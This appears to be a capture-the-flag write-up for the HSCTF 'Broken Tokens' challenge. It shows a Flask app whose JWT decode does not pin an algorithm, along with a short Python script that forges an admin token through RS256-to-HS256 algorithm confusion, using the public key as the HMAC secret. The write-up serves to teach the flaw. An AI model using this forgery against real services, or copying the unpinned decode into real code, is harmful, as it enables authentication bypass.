HSCTF Broken Tokens Write up

# HSCTF Broken Tokens Write up

HSCTF was held on June 1 ~ 6 that was the middle of the week so that I couldn't solve many challenges. this CTF was very kind and educational to beginners like me!

## recon

In the beginning,  The given web page was like this.

![broken_page.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/465545/4fb6b0d0-68fb-1738-20ce-7e8e9188f63d.png)

It's a simple web page with login form and link to publickey.pem
Additionally, we were provided source code written in python.

```python3
import jwt
import base64
import os
import hashlib
from flask import Flask, render_template, make_response, request, redirect
app = Flask(__name__)
FLAG = os.getenv("FLAG")
PASSWORD = os.getenv("PASSWORD")
with open("privatekey.pem", "r") as f:
	PRIVATE_KEY = f.read()
with open("publickey.pem", "r") as f:
	PUBLIC_KEY = f.read()

@app.route('/', methods=['GET', 'POST'])
def index():
	if request.method == "POST":
		resp = make_response(redirect("/"))
		if request.form["action"] == "Login":
			if request.form["username"] == "admin" and request.form["password"] == PASSWORD:
				auth = jwt.encode({"auth": "admin"}, PRIVATE_KEY, algorithm="RS256")
			else:
				auth = jwt.encode({"auth": "guest"}, PRIVATE_KEY, algorithm="RS256")
			resp.set_cookie("auth", auth)
		else:
			resp.delete_cookie("auth")
		
		return resp
	else:
		auth = request.cookies.get("auth")
		if auth is None:
			logged_in = False
			admin = False
		else:
			logged_in = True
			admin = jwt.decode(auth, PUBLIC_KEY)["auth"] == "admin"
		resp = make_response(
			render_template("index.html", logged_in=logged_in, admin=admin, flag=FLAG)
		)
	return resp

@app.route("/publickey.pem")
def public_key():
	with open("./publickey.pem", "r") as f:
		resp = make_response(f.read())
		resp.mimetype = 'text/plain'
		return resp

if __name__ == "__main__":
	app.run()
```

According to this, we had to log in as admin that was authorized by JWT stored in cookie.

In the next, I logged in as a guest for testing the set cookie.
Got the cookie, I decoded the jwt to JSON as below.:point_down_tone2:

![jwt.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/465545/b09720db-3bb1-4dd9-3bee-1ae6225e2c21.png)

As written in source code. it uses RS256 for authorization.
After some googling, I found this interesting [article](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)

>If you change the algorithm from RS256 to HS256, the backend code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.

looking at source code, it specifies algorism when encoding but it doesn't when decoding! that's vulnerability.

## exploit 

I wrote a simple exploit code.

```python
import jwt

with open("publickey.pem", "r") as f:
	public = f.read()

print(public)
print(jwt.encode({'auth':'admin'}, key=public, algorithm='HS256'))
```

In this time, jwt uses HS256 for authorization instead of RS256 which means the server interprets as HS256 resulting in the corresponding key!
I set the jwt in cookie and reloaded ... got flag!

![flag.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/465545/101822e0-fcc4-58c1-f55e-18b81fdae7f1.png)

Thank you for reading my writeup in my poor English!